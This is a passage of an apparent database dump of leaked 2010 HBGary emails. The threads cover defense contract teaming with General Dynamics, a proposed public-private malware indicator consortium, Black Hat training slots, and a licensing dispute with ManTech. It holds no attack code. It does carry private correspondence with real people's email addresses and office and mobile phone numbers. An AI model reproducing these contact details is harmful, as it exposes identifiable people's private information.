Awareness\r\n\r\n\r\n\r\n\r\n\r\nMission\r\nAssurance\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nModeling and Simulation\r\n\r\n\r\n\r\n\r\n\r\nCollaboration\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCustomers\r\n\r\n\r\n\r\n\r\n\r\nSPAWAR\r\nCode 56, Team SPAWAR, PEO C4I, USCYBERCOM, 10th Fleet, 24th AF, COCOMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6283,'aaron_hbgary_com/6283.html'),(12715,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009365.M802575P14101Q7570.eml','\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas \\(DHS\\)\" <douglas.maughan@dhs.gov>,\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas \\(DHS\\)\" <douglas.maughan@dhs.gov>,','RE: Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAbsolutely.  I should be out\r\nwithin 2 weeks.  \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Pipal, Kurt\r\n[mailto:Kurt.Pipal@ic.fbi.gov] \r\nSent: Wednesday, October 06, 2010 9:15 AM\r\nTo: \'penny@hbgary.com\'; Maughan, Douglas (DHS)\r\nCc: Buckley, Brian; \'greg@hbgary.com\'; \'aaron@hbgary.com\'\r\nSubject: Re: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWell the task force, NCIJTF, I\'m at has almost everyone in the\r\ngovernment. I\'m new here and to this discussion so I would need to hear more\r\nbefore I can provide comments of value. Maybe when you are out here we can sit\r\ndown and discuss it? \r\n\r\n\r\nKurt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n&lt;penny@hbgary.com&gt; \r\nTo: Maughan, Douglas (DHS); Pipal, Kurt \r\nCc: Buckley, Brian; \'Greg Hoglund\' &lt;greg@hbgary.com&gt;; \'Aaron Barr\'\r\n&lt;aaron@hbgary.com&gt; \r\nSent: Wed Oct 06 12:06:51 2010\r\nSubject: RE: Question for You \r\n\r\n\r\n\r\nYeap and I figured that at least\r\nwith this group, we can start that effort.&nbsp; Kurt is working with a new\r\ntask force involving agencies plus DoD, you have DHS and I think we can draw up\r\na list of companies.&nbsp; Greg mentioned SRI might be interested too based\r\nupon your discussion yesterday.&nbsp; We are willing to help and get others in\r\nboth private and public to help.&nbsp; Kurt thoughts from your group?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maughan, Douglas\r\n[mailto:Douglas.Maughan@dhs.gov] \r\nSent: Tuesday, October 05, 2010 10:23 PM\r\nTo: Penny Leavy-Hoglund; Pipal, Kurt; Maughan, Douglas\r\nCc: brian.buckley@ic.fbi.gov; Greg Hoglund; Aaron Barr\r\nSubject: RE: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg mentioned it to me briefly\r\ntoday. \r\n\r\n&nbsp;\r\n\r\nAt the 10,000 foot level it\r\nseems like a good idea, but you know me … I don’t stay at the 10,000 foot level\r\nvery long. You’ve got to get down at the ground level, which includes\r\ndiscussions about business plans, long-term funding, legal issues, public AND\r\nprivate, etc., etc. All topics that need to be discussed, written down, and\r\ncirculated around some subset of the community working in the malware space.\r\nSorry to be somewhat of a rain cloud on your idea, but if we’re going to do\r\nsomething like this, then it’s going to require lots of upfront work to make it\r\nsustainable.\r\n\r\n&nbsp;\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, October 05, 2010 5:22 PM\r\nTo: \'Pipal, Kurt\'; \'Maughan, Douglas\'\r\nCc: brian.buckley@ic.fbi.gov; \'Greg Hoglund\'; \'Aaron Barr\'\r\nSubject: QUestion for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe want to create an industry consortium which would include\r\npublic and private entities to create &nbsp;Symptoms of Compromise\r\nDatabase.&nbsp; Mandiant has open IOC’s but they never share the good stuff and\r\nit’s associated with a vendor, which really isn’t beneficial to the community since\r\nit’s vendor specific. In order to make this really work, you need more than one\r\ncompany or organization.&nbsp; &nbsp;&nbsp;We wanted to know if perhaps Kurt,\r\nyour new group would sponsor something like this.&nbsp; I’m copying Doug\r\nMaughan over at DHS, S&amp;T and Brain (since he was the reason we all\r\nmet)&nbsp; I have customers who also want to be part of this, one is over at\r\nL-3 and some in banking etc.&nbsp; So, what are your thoughts?&nbsp; I think it\r\nwould work more like a standard, where you have Birds of a Feather and bring in\r\nvarious participants like McAFee, Cisco etc and I could help with this as\r\nwell.&nbsp; (get you in touch with the right people)&nbsp; We could even make\r\nit a separate organization funded by a grant perhaps (hence Doug’s group)&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1087,'aaron_hbgary_com/1087.html'),(12716,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009366.M29489P14101Q7571.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: SSC PAC PreAward/Contract Planning-After Actions','Agree.From my iPhoneOn Oct 6, 2010, at 12:12 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI think we have HBGary Fed participate.  They can sell product\r\nif needed and we already have contract in place and their email says HBGary. \r\nIf it’s personnel it will be them anyway and we have a WAY higher billing rate\r\nthan Fed so it works out better for all.  Aaron?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, October 06, 2010 5:59 AM\r\nTo: &#39;Penny Leavy-Hoglund&#39;; &#39;Aaron Barr&#39;; &#39;Ted Vera&#39;\r\nSubject: FW: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nPenny, Aaron and Ted,\r\n\r\n \r\n\r\nGD had their pre-award planning meeting for the SPAWAR IDIQ\r\ncontract they expect to be awarded. As you’ll recall, HBGary is a tier-1\r\nteaming partner.  There will be multiple awardees who will compete as task\r\norders are released, with quick turnaround.  My impression is that this\r\nwill be primarily a labor contract, but if with work could realize software\r\nsales too.  My memory says the work will be mostly unclass or secret\r\nlevel.\r\n\r\n \r\n\r\nMy inclination is to wait until there is an award before giving\r\nit much attention, but will make a few calls to GD folks to find out where we\r\ngo from here.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, October 05, 2010 11:01 PM\r\nTo: ron.jacobsosn@linquest.com; naveen.reddy@linquest.com;\r\ndave.atherton@eyestreet.com; wstephen@telcordia.com; sleanheart@telcordia.com;\r\nrichard.tillery@visllc.com; cbernard@visllc.com; barbara.m.sootkoos@us.pwc.com;\r\nesutton@systechnologies.com; bob.jayne@ndpgroup.com; Smith, Timothy-P65114\r\n(EXT) (GDC4S); ecamargo@deloitte.com; marcmurph@deloitte.com;\r\nalok@simulexinc.com; mmulpuri@simulex.com; dcurtis@sim-gtech.com;\r\nprempfer@sim-gtech.com; jlrubritz@wareonearth.com; tyancey@wareonearth.com;\r\nfrank.backes@braxtontech.com; Julie.wllies@braxtontech.com; dperalta@ndti.net;\r\njmathis@ndti.net; dan_ownby@minervaengineering.com; jmorgan@ewa.com;\r\npwomble@ewa.com; rwebb@defgrp.com; stotz@cubrc.org; carl.houghton@issinc.com;\r\njohn_long@gdit.com; Martin, Robert Z.; Holtmann, Vincent A.; Ebber@avi.com; &#39;Bob\r\nSlapnik&#39;; Dan Roberts; Dietz, James Eric; Autry, Tim; Beck, Bob; Wendy Yee;\r\njim.burton@cataphora.com; Jondi_Bernardo@McAfee.com; sbodmer@savidcorp.com;\r\nJeffrey Carr; Bradshaw, Kent-P57625 (EXT) (GDC4S)\r\nCc: Valdez, George G.; Jaeger, James A.; Carron, Brian E.; Rabideau, Tim\r\nJ.\r\nSubject: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAll, \r\nThanks again for those of you that we able to attend the session and we very\r\nmuch appreciated the dialogue. Below is a high-level action that we discussed to\r\ninclude the meeting summary,  attached slide deck, attendee roster, and\r\nCompetency Chart. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nremember that the formal award announcements have not been distributed to the\r\nPrimes, so handle the attached documents appropriately and do not distribute.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAction for Teammates\r\n\r\n\r\n\r\n\r\n\r\n1)Provide\r\nprimary POCs for—1)Business Development, 2)Technical/Engineering, and 3)\r\nContracts/Pricing\r\n\r\n\r\n\r\n\r\n\r\nPURPOSE:   These\r\nPOCs will be our primary points of contact for future engagements and will be the\r\nprimary POCs that will have access to the team SharePoint site. From the\r\ntechnical perspective, we will work with this POC as we organize our Technical\r\nIPTs for TTO review and response to the government.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMeeting\r\nSummary\r\n\r\n\r\n\r\n\r\n\r\nOur\r\nmeeting covered the need to develop a short and long-term roadmap that would\r\nallow the entire team to align team capabilities and expertise with customer\r\nfunding and requirements. Our roadmap will focus on some quick success actions\r\nthat will help us to shape early Technical Task Orders (TTOs) and grow our\r\nVision in lockstep with customer needs (both SSC PAC and other supporting govt.\r\ncustomers that intend to use the vehicle). \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwill continue the development of this roadmap via team collaboration and data\r\nsharing activities that we will organize via the SSC PAC SharePoint website.\r\nThat is another primary reason for everyone to respond with the requested POCs\r\nso we can ensure everyone is able to access the SharePoint website. We will\r\ncoordinate, schedule, deconflict, and help to organize messaging and\r\ncustomer  meetings via the Calendar on the SharePoint site to ensure that\r\neveryone is moving in the same direction. Lastly, the SharePoint  site\r\nwill allow all teammates to update their capability offerings, whitepapers, etc.\r\nin preparation for bidding TTOs and interfacing with the customer.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTo\r\nhelp align this roadmap we will begin to focus on the following technology\r\nareas and customers that we discussed during the meeting.  This list is\r\nnot all inclusive, but will help to guide our roadmap development. Along this\r\nsame line, we are organizing team messaging and discriminators for everyone’s\r\nawareness.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTechnical\r\nFocus Areas\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nSituational Awareness\r\n\r\n\r\n\r\n\r\n\r\nMission\r\nAssurance\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nModeling and Simulation\r\n\r\n\r\n\r\n\r\n\r\nCollaboration\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCustomers\r\n\r\n\r\n\r\n\r\n\r\n\r\nSPAWAR\r\nCode 56, Team SPAWAR, PEO C4I, USCYBERCOM, 10th Fleet, 24th AF, COCOMS\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n        \r\n         \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9095,'aaron_hbgary_com/9095.html'),(12717,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009366.M302450P14101Q7572.eml','aaron@hbgary.com','Alarm - Strategic Social','October 6, 2010 10:00 AM : Strategic Social ',14154,'aaron_hbgary_com/14154.html'),(12718,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009366.M542133P14101Q7573.eml','\"Ping Look\" <ping@blackhat.com>,\"Ping Look\" <ping@blackhat.com>,,','RE: Question for you','Yes we will do them for US for sure  The PDF course will be big, no doubt in\r\nmy mind.   Social Media is big now too, we are doing trainings to\r\nauditoriums.  Is there anyway we can get a list and do a revenue share or\r\nperhaps go to near by hotel for these?\r\n\r\n-----Original Message-----\r\nFrom: Ping Look [mailto:ping@blackhat.com] \r\nSent: Wednesday, October 06, 2010 9:53 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Jeff Moss\r\nSubject: Re: Question for you\r\n\r\nPenny\r\n\r\nUnfortunately we only have 8 training rooms and we are overbooked (we  \r\nhave contracted for Litchfield\'s new course but it isn\'t online). I  \r\nthink the two classes would be a better sell attempt for US - bigger  \r\nmarket. I don\'t want to turn away dollars but that is my assessment -  \r\nthat the courses might be too niche for DC.\r\n\r\nLet me know if you do want to be considered for US as the courses will  \r\nneed to go for review for that event no later than December 1.\r\n\r\nOn Oct 6, 2010, at 9:43 AM, Penny Leavy-Hoglund wrote:\r\n\r\n',7274,'aaron_hbgary_com/7274.html'),(12719,'2010-10-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009367.M413391P14101Q7575.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDave Savage left me a voice message today saying that ManTech is\r\n&#8220;slotted to purchase additional AD licenses in 2011&#8221; and as the relationship\r\nmoves forward he wants to look at creative ways that ManTech&#8217;s internal costs\r\ncould be reduced as they make us money in other ways.&nbsp; So, it sounds like he\r\nshifted without my even speaking with him.&nbsp; Let me know how your meeting with Eric\r\ngoes.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 10:27 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep agreed. &nbsp;And I think there is a win win. &nbsp;We\r\ncan do a pass through of funds for licenses that are added to the cost of the\r\nemployees. &nbsp;This is normally how managed services run anyway. &nbsp;So\r\nthey will get the software and basically pass the cost onto customers. &nbsp;We\r\nget in writing an agreement to put bodies on contract with software.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 10:24 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIT\r\nhas to be in writing, I will not trust them again.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 4:48 AM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy-Hoglund\'\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK\r\nI will ask Eric some questions.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA\r\nthought though. &nbsp;Is it possible to see how far he will take this.\r\n&nbsp;They manage 5 current SOCs. &nbsp;What if they allow us to place 5\r\nqualified candidates in existing SOCs and within the strategic partnership\r\nguarantee they will sell DDNA within their MDA solution. &nbsp;Remember they do\r\n$30-40M in IR work according to Eric.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGiving\r\naway free software is like putting a person on a services contract free of\r\ncharge. &nbsp;It is just not good business. &nbsp;But if they can push the cost\r\nsomewhere else and allow us to put people on contract and then we can figure\r\nout how to get some of that money to HBGary from the services side to pay for\r\nthe licenses in the SOC.?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nOct 5, 2010, at 7:24 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill speak with David and learn more about his motives.&nbsp; I just wanted to\r\nmake sure that you, Penny and I were all on the same page.&nbsp; It would be\r\nhelpful if you tell Eric that deployment of HBGary software into production\r\nalways happens with revenue, and ManTech won&#8217;t be an exception.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreading the tea leaves of David&#8217;s email, it sounds like he is holding out the\r\ncarrot of future services revenue to HBG Fed, but aren&#8217;t you expecting that\r\nrevenue anyhow?&nbsp; Please have a frank conversation with Eric and ask him if\r\nfuture partnering is contingent on our cutting them a sweetheart deal.&nbsp; We\r\nhave no plans to grant the sweetheart deal, but we need to ask the hard\r\nquestions to flush out what Eric is thinking.&nbsp; Also ask who is putting\r\nthese thoughts into David&#8217;s head?&nbsp; Who within ManTech might be influencing\r\nhim?&nbsp; David stated, &#8220;I&#8217;ve had discussions with my Executive Leadership\r\ntoward that end&#8221;.&nbsp; Who?&nbsp; I will ask too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 10:54 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Bob Slapnik\'\r\nSubject:&nbsp;Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam on board. &nbsp;You can\'t ask a small company to give away software for free\r\nin hopes of future engagements. &nbsp;One thing to be clear on is big companies\r\ndon\'t speak with one voice, they have many. &nbsp;The guy your working with\r\nfits somewhere in the food chain below Eric (who I am meeting with tomorrow).\r\n&nbsp;And often external and internal efforts are separated financially and\r\nfunctionally.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nI am not clear on is why the change in plans? &nbsp;If I understand the\r\ncircumstances clearly I may be able to help.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nOct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope\r\nwe can&#8217;t do this for free, it&#8217;s a business just like they have a business and\r\nwe need to make money.&nbsp; WE aren&#8217;t using their software for free and quite\r\nfrankly we&#8217;ve done MORE than we said we would because of this &#8220;strategic&#8221;\r\nrelationship.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:35 PM\r\nTo:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Aaron Barr\'\r\nSubject:&nbsp;ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nand Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee the email chain below.&nbsp; I wanted to have some internal dialogue before\r\nI speak with David.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nattached powerpoint was David&#8217;s proposition to HBGary that they purchase DDNA\r\nduring the development of their MDA system then deploy it to the ManTech SOC\r\nafter the New Year.&nbsp; We ended up charging them $30,625 during the\r\ndevelopment phase with the plan that they would apply that amount toward the\r\npurchase by the SOC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nhis email below he is &#8220;pitching&#8221; that we provide our software to the ManTech\r\nSOC for free in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.&nbsp;&nbsp; Personally, I don&#8217;t like the\r\nidea.&nbsp; In my entire business career I&#8217;ve never experienced a good outcome\r\nfor &#8220;future revenue&#8221; schemes.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne\r\nreason we cooperated during their development phase was because we had a\r\npromise that the SOC would buy.&nbsp; Now, David is proposing to change the\r\ndeal.&nbsp; We had a deal in concept worked out for the development phase, a\r\ndiscounted reseller price for the SOC, and reseller pricing for when they use\r\nour software on their services engagements.&nbsp; I view his latest &#8220;offer&#8221; to\r\nbe reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwant the three us (Penny, Aaron and me) to be in agreement as to how we\r\napproach ManTech.&nbsp; I am not inclined to drop my drawers, but I am willing\r\nto bend if ManTech shows could faith with a reasonable amount of money\r\nupfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them\r\nan extra reseller discount on some future transactions to RECOVER THEIR COSTS\r\nover time.&nbsp; I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 8:19 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll\r\ngood questions&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor the update on the mods, that is good news!&nbsp; In terms of testing, are\r\nwe still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nyou know we have purchased a 500 node license for $32K+ that were are using for\r\ntesting and integration, with the intent the annual clock for the licensing\r\nwould start at the beginning of 2011 when we actually deploy MDA to the ManTech\r\nSOC.&nbsp; The current plan is that the ManTech SOC would acquire additional\r\nDDNA licenses (up to 2,500 additional licenses, bringing the total to 3,000\r\nwith the 500 we&#8217;ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\nbeen holding off on finalizing anything with the SOC, as I wanted to address\r\nthe possibility of a strategic business relationship with you (HBGary), wherein\r\nManTech would be able to leverage DDNA free of cost internally in exchange for\r\nworkshare on contracts and ManTech reselling DDNA licenses to customers via\r\nMDA.&nbsp; I&#8217;ve had discussions with my Executive Leadership toward that end,\r\nand I need to follow up on with my leadership again so we can move toward some\r\nsort of solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in two\r\nweeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get side-tracked,\r\nbut I wear about six different hats&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:26 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND 